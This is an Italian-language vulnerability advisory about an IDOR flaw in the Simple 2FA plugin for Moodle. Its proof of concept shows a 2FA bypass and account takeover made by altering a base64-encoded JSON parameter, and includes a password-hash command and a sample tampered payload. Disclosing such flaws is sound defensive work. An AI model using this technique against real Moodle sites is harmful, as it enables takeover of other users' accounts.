
Una vulnerabilità di Insecure Direct Object References (IDOR) nel "Simple 2FA Plugin for Moodle" di LMS Doctor
Una vulnerabilità di Insecure Direct Object References (IDOR) nel "Simple 2FA Plugin for Moodle" di LMS Doctor
Dettagli della vulnerabilità
Rischio : Critico
Fornitore: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Divulgato da: Flaviu Popescu
Descrizione: Vulnerabilità di Insecure Direct Object References (IDOR) nel plugin Simple 2FA per Moodle di "LMS Doctor". Consente a un utente malintenzionato remoto di aggiornare record sensibili come email, password e numero di telefono di altri account utente.
Prova di concetto:
Processo di login iniziale utilizzando un account auto-registrato (dionach.tester):
POST /login/index.php

Una volta visualizzato il prompt 2FA, l'attaccante forza la navigazione al seguente URL invece di fornire il codice 2FA.
POST /auth/simple2fa/profile.php

Questa richiesta viene catturata in Burp Suite:

Il parametro "u" contiene una stringa codificata in base64. La stringa viene decodificata, rivelando dati in formato JSON come mostrato di seguito:

L'attaccante manomette i dati JSON, modificando id, e-mail, password e nome. I dati JSON vengono nuovamente codificati in base64, aggiornati in Burp Suite e inoltrati al server.
Generazione di un nuovo hash per la password:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Estratto dei dati manomessi:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
Con il risultato che l'account della vittima, id 8045 (dionach.tester2), viene aggiornato come mostrato di seguito:
